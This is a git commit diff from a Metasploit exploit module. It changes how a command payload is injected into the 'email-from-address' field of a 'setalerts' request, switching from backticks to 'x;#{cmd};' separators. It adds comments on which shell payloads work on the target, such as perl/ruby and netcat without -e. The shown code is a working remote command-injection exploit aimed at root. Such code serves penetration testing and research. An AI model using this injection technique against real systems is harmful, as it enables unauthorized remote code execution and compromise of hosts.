added payload notes
git-svn-id: file:///home/svn/framework3/trunk@8511 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
82369aa9e8
commit
a996668cfa
|
@ -55,6 +55,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
# *_perl and *_ruby work if they are installed
|
||||
# inetd isn't used on FC6/7 (xinetd is)
|
||||
# netcat doesn't have -e by default
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
|
@ -73,8 +76,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
connect
|
||||
|
||||
cmd = "nohup " + payload.encoded
|
||||
#cmd = payload.encoded
|
||||
#cmd = "nohup " + payload.encoded
|
||||
cmd = payload.encoded
|
||||
|
||||
username = 'root'
|
||||
toaddr = 'nosuchuser'
|
||||
|
@ -83,7 +86,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Sending 'setalerts' request with encoded command line...")
|
||||
msg = "username=#{username}\n" +
|
||||
"email-alerts=1\n" +
|
||||
"email-from-address=`#{cmd}`\n" +
|
||||
#"email-from-address=`#{cmd}`\n" +
|
||||
"email-from-address=x;#{cmd};\n" +
|
||||
"email-to-addresses=#{toaddr}\n" +
|
||||
"msg=setalerts\n"
|
||||
sock.put(msg)
|
||||
|
|
Loading…
Reference in New Issue